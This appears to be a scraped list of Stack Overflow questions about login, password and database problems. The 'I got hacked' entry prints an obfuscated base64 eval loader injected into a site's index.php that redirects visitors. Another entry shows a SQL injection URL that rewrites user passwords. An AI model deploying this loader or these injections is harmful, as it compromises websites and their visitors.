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  • database encryption questions

    - by 5YrsLaterDBA
    We are using Sybase SQL Anywhere 11. We need to encrypt some of our tables in our database. I followed the instruction and did it. We selected the "strong" option with encryptionKey and AES256_FIPS algorithm. But there are something I am not clear about them. It will require encryptonKey when we create the database, remove the database and start the database server but it will NOT require encryptionKey when we stop the database server and connect to the server to create tables and add data. Why there is NO encryptionKey asked when we connect to it or try to stop the server? I am doing something wrong? don't know how to test the encryption? I still can see all plain text in the encrypted tables when I use Sybase Central tool. If somebody knows the database user name and password, he/she can connect to the database and read the content without the encryptionKey. is this right?

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  • Handling multiple post-defined datasource connections based on user

    - by choudeshell
    How should I handle multiple user-connection defined datasource connection in my .NET application? To illustrate this better; the user provides three (3) pieces of information, username, password and data source name. This data source name is then looked-up in a central database telling that application which main database this user should connect to. My question is, in the DataAccess layer, should we only pass down enough information to uniquely identify that user, and query the central database each time in the DAL; or, should we provide another way to pass the datasource connection down to the DAL?

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  • Using the same cookie in two logins

    - by cer9ss
    Hi everyone, I need your help I've a MVC project that uses Jquery, where I've implemented a mechanism of "Remember Me" using cookies to save, clear and retrieve the login and password. I also have two screens where the user does the login. I want that both logins manipulate the same cookie. I've got to implement it, but I've realized that each one has a different behaviour. I mean, the cookie's value I save in the first login is not the same than the value that retrieves the second login (when I open it). In other words, if I mark "remind me" on the first login, it isn't reflected on the second login and viceversa. What can I do to make that both of them manipulate and read the same values from the same cookie? Is it possible? PS: For this situations I'm using the same web navigator: Firefox or IE. Thanks in advance

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  • How do cookies work when browsing websites

    - by Phenom
    On websites where you have to enter a user name and password, I notice that I can browse the site with one browser and it will know who I am no matter where I go on the site. But if I open a different browser it doesn't know who I am in that browser unless I log on in that browser. After I log in to a website, does it store some kind of cookie in my browser, and every time I navigate to a different page on that site, it checks the cookie for my identity? What would happen if I logged in, and then before browsing to a different page on the site, deleted the cookie?

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  • Why is my socket closing?

    - by Tommy3244
    Ok, so I am making a multiplayer game. I am working out the kinks in the server/client connectivity system. I can't seam to work out this error. Mainly, my server code does the following: Accepts Client Using SocketServer Module CLIENT -- SERVER sends Login byte (1 byte) + login username and password (200 bytes) SERVER request for 1 byte by struct.calcsize('b') CLIENT has exception on read SERVER recieves byte from CLIENT and sends CLIENT a struct packed byte with the value of 4 SERVER has exception on send So, it is the client excepting. The client exception is: socket.error: (10054, 'Connection reset by peer') And the server error is this: error: (9, 'Bad file descriptor')

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  • jsjac openfire chat issue

    - by user1246979
    I am trying to use openFire + jsjac for my application as chat option. I have installed openfire in my local machine and it is running fine on http://127.0.0.1:4040/ and i have downloaded jsjac version 1-3-4. 1) when I run sampleClient.html file directly [URL: C:\tomcat\webapps\jsjac\examples\simpleclient.html] I am able to connect sampleClient with openFire. Select Http Binding http Base : http://127.0.0.1:7070/http-bind/ jabber server : 127.0.0.1 username : admin password : ** 2) But when I put jsjac folder in tomcat/webapps/ directory, I access sampleClient through http://127.0.0.1:8080/jsjac/examples/sampleClient.html, at that time using above setting (which i have used in step 1) it is giving error "Service unavailable". In step 1 when though I am connected with openFire, when I send a message it displays only "message received from admin@localhost", but it does not display the actual message.. I need your advice on these problems... Thanks.

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  • Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in

    - by alundra00
    hi i am new to php and now i having problem with login Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in... Warning: mysql_num_rows() expects parameter 1 to be resource, boolean given in.... coding php: <?php include ("config/koneksi.php"); include ("config/library.php"); $pass = md5($_POST['password']); $login = mysql_query("SELECT * FROM user WHERE id_user='$_POST[username]' AND sesi='$pass'"); $found = mysql_num_rows($login); //error $r = mysql_fetch_array($login); //error if ($r){ session_start(); session_register("username"); session_register("sesi"); session_register("role"); $_SESSION[username] = $r[id_user]; $_SESSION[sesi] = $r[sesi]; $_SESSION[role]= $r[role]; header ('location:home.php'); }

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  • How to create arrayType for WSDL in Python (using suds)?

    - by Uri
    Environment: Python v2.6.2 suds v0.3.7 The WSDL (server) I work with, have the following schema sub-sections (I tried to write it clearly using plain text) - [ sub-section #1 ] searchRequest: (searchRequest){ userIdentification = (userIdentification){ username = "" password = "" } itineraryArr = (itineraryArray){ _arrayType = "" _offset = "" _id = "" _href = "" _arrayType = "" } ... ... [ sub-section #2 ] itinerary: (itinerary){ departurePoint = (locationPoint){ locationId = None radius = None } arrivalPoint = (locationPoint){ locationId = None radius = None } ... ... There is no problem with 'userIdentification' (which is a "simple" type) But, 'itineraryArr' is an array of 'itinerary', and I don't know how to use python to create XML array. I tried few combinations, for example itinerary0 = self.client.factory.create('itinerary') itineraryArray = self.client.factory.create('itineraryArray') itineraryArray = [itinerary0] searchRequest.itineraryArr = itineraryArray But all my trials resulted with the same server error - Server raised fault: 'Cannot use object of type itinerary as array' (Fault){ faultcode = "SOAP-ENV:Server" faultstring = "Cannot use object of type itinerary as array" } Appreciate you help..... Thanks, Uri

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  • Twitter URL encoding

    - by Rich
    Hi, We're about to launch a little twitter Christmas competition, and I've run into a little snag. To enter, people will need to post a tweet in the following format: @user blah, blah, blah #hashtag Currently, I have a form where they enter their answer (the blah, blah, blah) and a PHP script which encodes the entire statement and adds on the twitter url: http://www.twitter.com/home?status=%40user%20blah%2Cblah%2Cblah%20%23hashtag Then takes the user to twitter and puts the status in the update field. However, whilst the spaces (%20) are decoded fine the @ and # characters remain as %40 & %23 respectively, even when the tweet is posted. I cannot put the actual characters in the url as twitter mistakes this for a search. Is there any way to solve this? I'd like to do it without requiring username & password etc if possible. Any help will be greatly appreciated.

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  • question about LocalSqlServer

    - by Alexander
    I know that by default ASP.NET ships with LocalSqlServer... I just uploaded my website and I did the following: <remove name="LocalSqlServer"/> <add name="LocalSqlServer" connectionString="Data Source=winsqlus03.lxa.perfora.net,1433; Initial Catalog=db323219488; User ID= dboxxxxxxxxx; Password=xxxxx;"/> And inside my App_Data I still have the ASPNETDB.MDF, when I tried to run it... What I got is: Could not find stored procedure 'dbo.aspnet_CheckSchemaVersion'. why is this?

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  • previousFailureCount always stays on 0 (zero)

    - by itai alter
    Hello all, First of all, I'd like to thank the good people who helped me around on this site. Thanks. I'm trying to detect a failed authentication attempt in my app... I'm using the didReceiveAuthenticationChallenge method, and the checking if [challenge previousFailureCount] is equal to 0. The problem is that it's always stays on zero, even if the username and password that I send with the credentials are incorrect. I couldn't find any info about this kind of issue, any help will be much appreciated. Thanks!

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  • Are there any alternative to the header(); function ?

    - by Simon
    The thing is, I have a log-in page. And, when user enters Username & Password, they must be re-directed to success/failure page. Now, I have placed a "header('location:welcome.php');" after mysql rows are returned. But, it is giving me Header already sent errors, and I don't know much about PHP to do anything about it, let alone understand why it is happening. So, how to you transfer a user to another page after log-in data is verified? Same problem is happening with register, post, comment and search functions in my site.

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  • Why my query is not working?

    - by Poma
    my website has PHP command: mysql_query("SELECT * FROM users WHERE id=" . $_GET["id"]) or die(mysql_error()); When I enter URL http://example.com/index.php?id=1;%20UPDATE%20users%20SET%20password=123%20WHERE%20id=1 I get following error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'UPDATE users SET password=abc WHERE id=1' at line 1 But in phpmyamin query executes successfully. What's wrong here? Why it doesn't execute in browser?

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  • What is the proper design of storing temporary users? [closed]

    - by Mendy
    In SO site both real users and temporary users can add a new questions. I assume each user type has a different table. My question is how can I attach the question to the right user? I assuming the temp users have their own table from the following reasons: Temp users don't have all the data that real users have. like: email, password, and all users details. On the other hand, temp users are a lot more then real users. So it make more sense to have they in their own table.

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  • read variables from file

    - by TonyVipros
    Hi, I'm trying to write a shell script to backup websites, I've got it to go through each directory in vhosts and create a new directory vhosts/{siteurl}/private/backups/ and gzip up the site into there. However, I also want it to read a file from private that will contain database name, user and password. So I can then use these to perform a mysqldump to private/backups/. The problem is that I've never written a shell script before so I've go no idea how to read variable data into my script, or how I should format the file to be read. Hope that's enough information.

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  • How do (or can I) hack a gem temporarily while looking for a bug?

    - by Tom Andersen
    I have a gem installed in my home directory on a laptop (eg not THE server). I have installed ruby 1.9.1 and also some other gems, notably right_aws - which allows access to s3, etc with ruby. All works, except there is a bug when I do a query on SimpleDB, and the returned list of items includes an item with any two byte utf-8 character in its itemName(). So I look through the sources of the right_aws gem installed on my machine, and I can see some places where I would like to test a fix. If I edit the file, save changes, (needing a password), then restart the server (script/server), it ignores my changes. I am quite new at ruby - do you have to 'compile' or other similar move to get the source code changes made take effect? I can see the edited file is changed by viewing it in terminal, etc.

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  • syncing data with server

    - by user155673
    Hi all, I'm trying to sync data from my application onto the server. I'm very new to this kind of work. For this i wrote a small web service in php, insertData($_get['username'], $_get['password']); ? Now, i'm not able to figure out how to call this web service and how to send the 2 variable values to the insertData function from the app using xCode. Any kind of help on this would be appreciated. Thanks & Regards, NR

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  • Rails 3 many-to-many query on includes or joins

    - by Myat
    I have three models User, Activity and ActivityRecord. class User < ActiveRecord::Base # Include default devise modules. Others available are: # :token_authenticatable, :confirmable, # :lockable, :timeoutable and :omniauthable devise :database_authenticatable, :registerable, :recoverable, :rememberable, :trackable, :validatable # Setup accessible (or protected) attributes for your model attr_accessible :first_name, :last_name, :email, :gender, :password, :password_confirmation, :remember_me # attr_accessible :title, :body has_many :activities has_many :activity_records , :through=> :activities end class Activity < ActiveRecord::Base attr_accessible :point, :title belongs_to :user has_many :activity_records end class ActivityRecord < ActiveRecord::Base attr_accessible :activity_id belongs_to :activity scope :today, lambda { where("DATE(#{'activity_records'}.created_at) = '#{Date.today.to_s(:db)}'")} end I would like to query all activities for a user together with the count for their respective activity records for today. For example, after querying and converting to json format, I would like to have something like below [ { id: 23 title: "jogging", point: "5", today_activity_records_count: 1, }, { id: 12 title: "diet dinner", point: "2", today_activity_records_count: 0, }, ] Please kindly guide me how I can achieve that. Thanks

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  • Restful client on Codeigniter issue

    - by user1852837
    This is weird. I don't know what is problem on my website. My website works on local server but not on live server. Login page works on first signin but after logout then re-login again message says: "invalid username and password" since it works on first attempt. I found out when I debugging that http://xxxxx.com/api/authentication/sign not found. It display 404 page not found. Sometimes you can login and sometimes not. In my local it works. I contact the web server admin and I ask what is the status of the session on the server and How does it execute it's web requests? (Sockets, file_get_contents, curl?). They said that No problems reproduced with Server Sessions and PHP Curl works fine. I know it's weird but can somebody here can figure it out what is the problem behind of it.

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  • Error 1045 MySQL during setup

    - by user1364513
    Could anyone explaine me the error 1045 during MySQL setup I ll be preciated. I'm getting this error after reinstalling. I 'm going to install on windows 7. On the last stage of installation i.e apply security settings I'm getting the following message:"The security settings could not be applied. Error Number 1045. Access denied for user 'root' @ 'loaclhost'(usinf password: NO)". I know another way how to fix it that is reinstalling of operating system, but I can't do it please help how can I solve it?. I'll be preciated. Thanks!

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  • A global login (many sites)

    - by John
    We are a growing network but we figured we want to keep that the User only would need one account in order to access the network different sites. (Similar to Stackoverflow's login, If you login in to another "site" you use your account credentials and than your account is created). We want our own login system (Username, password) and not OpenId, as we'd probably have that in the future, but the main focus right now is the global login. How can I do this? Do a Curl request and send back a cookie? Have a "database" just for the login procedure and on first login also create a new "User" in the site specified database? Suggestions?.

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  • PHP: I got hacked...

    - by jun
    I just checked my site it suddenly jumps me to this site: xxxp://www1.re*******3.net/?p=p52dcWpkbG6HjsbIo216h3de0KCfaFbVoKDb2YmHWJjOxaCbkXp%2FWqyopHaYXsiaY2eRaGNpnFPVpJHaotahiaJ0WKrO1c%2Beb1qfnaSZdV%2FXlsndblaWpG9plmGQYWCcW5eakWppWKjKx6ChpqipbmdjpKjEjtDOoKOhY56n1pLWn1%2FZodXN02BdpqmikpVwZWpxZGxpcV%2FVoJajYmJkZ2hwlGGXaVbJkKC0q1eum5qimZxx I found out that in the first line of my index.php file, that looks like this: <?php /**/ eval(base64_decode("aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJEdMT0JBTFNbJ21yX25vJ10pKXsgICAkR0xPQkFMU1snbXJfbm8nXT0xOyAgIGlmKCFmdW5jdGlvbl9leGlzdHMoJ21yb2JoJykpeyAgICAgIGlmKCFmdW5jdGlvbl9leGlzdHMoJ2dtbCcpKXsgICAgIGZ1bmN0aW9uIGdtbCgpeyAgICAgIGlmICghc3RyaXN0cigkX1NFUlZFUlsiSFRUUF9VU0VSX0FHR/* Snip */DkxRTI5RUI9QHVucGFjaygndicsc3Vic3RyKCRSNUE5Q0YxQjQ5NzUwMkFDQTIzQzhGNjExQTU2NDY4NEMsMTAsMikpOyAgICAgICAkUjYzQkVERTZCMTkyNjZENEVGRUFEMDdBNEQ5MUUyOUVCPSRSNjNCRURFNkIxOTI2NkQ0RUZFQUQwN0E0RDkxRTI5RUJbMV07ICAgICAgICRSQkU0QzREMDM3RTkzOTIyNkY2NTgxMjg4NUE1M0RBRDkrPTIrJFI2M0JFREU2QjE5MjY2RDRFRkVBRDA3QTREOTFFMjlFQjsgICAgICB9ICAgICAgaWYoJFIzMEIyQUI4REMxNDk2RDA2QjIzMEE3MUQ4OTYyQUY1RCY4KXsgICAgICAgJFJCRTRDNEQwMzdFOTM5MjI2RjY1ODEyODg1QTUzREFEOT1Ac3RycG9zKCRSNUE5Q0YxQjQ5NzUwMkFDQTIzQzhGNjExQTU2NDY4NEMsY2hyKDApLCRSQkU0QzREMDM3RTkzOTIyNkY2NTgxMjg4NUE1M0RBRDkpKzE7ICAgICAgfSAgICAgIGlmKCRSMzBCMkFCOERDMTQ5NkQwNkIyMzBBNzFEODk2MkFGNUQmMTYpeyAgICAgICAkUkJFNEM0RDAzN0U5MzkyMjZGNjU4MTI4ODVBNTNEQUQ5PUBzdHJwb3MoJFI1QTlDRjFCNDk3NTAyQUNBMjNDOEY2MTFBNTY0Njg0QyxjaHIoMCksJFJCRTRDNEQwMzdFOTM5MjI2RjY1ODEyODg1QTUzREFEOSkrMTsgICAgICB9ICAgICAgaWYoJFIzMEIyQUI4REMxNDk2RDA2QjIzMEE3MUQ4OTYyQUY1RCYyKXsgICAgICAgJFJCRTRDNEQwMzdFOTM5MjI2RjY1ODEyODg1QTUzREFEOSs9MjsgICAgICB9ICAgICAgJFIwMzRBRTJBQjk0Rjk5Q0M4MUIzODlBMTgyMkRBMzM1Mz1AZ3ppbmZsYXRlKEBzdWJzdHIoJFI1QTlDRjFCNDk3NTAyQUNBMjNDOEY2MTFBNTY0Njg0QywkUkJFNEM0RDAzN0U5MzkyMjZGNjU4MTI4ODVBNTNEQUQ5KSk7ICAgICAgaWYoJFIwMzRBRTJBQjk0Rjk5Q0M4MUIzODlBMTgyMkRBMzM1Mz09PUZBTFNFKXsgICAgICAgJFIwMzRBRTJBQjk0Rjk5Q0M4MUIzODlBMTgyMkRBMzM1Mz0kUjVBOUNGMUI0OTc1MDJBQ0EyM0M4RjYxMUE1NjQ2ODRDOyAgICAgIH0gICAgICByZXR1cm4gJFIwMzRBRTJBQjk0Rjk5Q0M4MUIzODlBMTgyMkRBMzM1MzsgICAgIH0gICAgfSAgICBmdW5jdGlvbiBtcm9iaCgkUkU4MkVFOUIxMjFGNzA5ODk1RUY1NEVCQTdGQTZCNzhCKXsgICAgIEhlYWRlcignQ29udGVudC1FbmNvZGluZzogbm9uZScpOyAgICAgJFJBMTc5QUJEM0E3QjlFMjhDMzY5RjdCNTlDNTFCODFERT1nemRlY29kZSgkUkU4MkVFOUIxMjFGNzA5ODk1RUY1NEVCQTdGQTZCNzhCKTsgICAgICAgaWYocHJlZ19tYXRjaCgnL1w8XC9ib2R5L3NpJywkUkExNzlBQkQzQTdCOUUyOEMzNjlGN0I1OUM1MUI4MURFKSl7ICAgICAgcmV0dXJuIHByZWdfcmVwbGFjZSgnLyhcPFwvYm9keVteXD5dKlw+KS9zaScsZ21sKCkuIlxuIi4nJDEnLCRSQTE3OUFCRDNBN0I5RTI4QzM2OUY3QjU5QzUxQjgxREUpOyAgICAgfWVsc2V7ICAgICAgcmV0dXJuICRSQTE3OUFCRDNBN0I5RTI4QzM2OUY3QjU5QzUxQjgxREUuZ21sKCk7ICAgICB9ICAgIH0gICAgb2Jfc3RhcnQoJ21yb2JoJyk7ICAgfSAgfQ=="));?> How do I stop this? thanks! UPDATE: What kind of attack is this? is this really xss? No one really knows about my ftp password.

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  • Using ftp in C# to send a file

    - by pm_2
    I'm trying to send a file using ftp. I have the following code: string server = "x.x.x.x"; // Just the IP Address FileStream stream = File.OpenRead(filename); byte[] buffer = new byte[stream.Length]; WebRequest request = WebRequest.Create("ftp://" + server); request.Method = WebRequestMethods.Ftp.UploadFile; request.Credentials = new NetworkCredential(username, password); Stream reqStream = request.GetRequestStream(); // This line fails reqStream.Write(buffer, 0, buffer.Length); reqStream.Close(); But when I run it, I get the following error: The requested URI is invalid for this FTP command. Please can anyone tell me why? Am I using this incorrectly?

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  • MySQL Query Problem

    - by user559744
    Hello guys, I'm getting following error message. Please help me. Thanks Notice: Trying to get property of non-object in C:\xampp\htdocs\my\include\user_functions.php on line 34 Here is my Code $conn = db_connection(); if($conn == false) { user_error('Unable to connect to database'); return false; } $query = "UPDATE user SET passwd = '".$new_passwd."' WHERE username = '".$username."' "; $result=$conn->query($query); if($result == false) { user_error('Query Error'.$conn->error); return false; } if($result->num_rows == 1) { echo 'Password changed'; } else { echo 'Failed '; } here is my db_connection function db_connection() { $db = new mysqli('localhost','root','','php_login'); if(!$db) { echo 'Could not connect to database server'; } else { return $db; } }

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  • Apple in-app-purchase ALWAYS with 30 % for Apple?

    - by swalkner
    Hi all, I know that Apple keeps 30 % of the money I make with in-app-purchase. But does that always count? I mean, if there's a feature allowing the user to buy something with an SMS-message, is that allowed? If yes, does Apple also keep 30 % then? Or if I make a WebService-call with username/password and return something to the user then, is it possible to charge that call and keep the money for myself? I thougt that those are options which are not allowed, but there are some apps out there which exactly do it that way - are they only "lucky" and Apple didn't see that or is it allowed to sell services that way? Thanks a lot for your answers, Stefan

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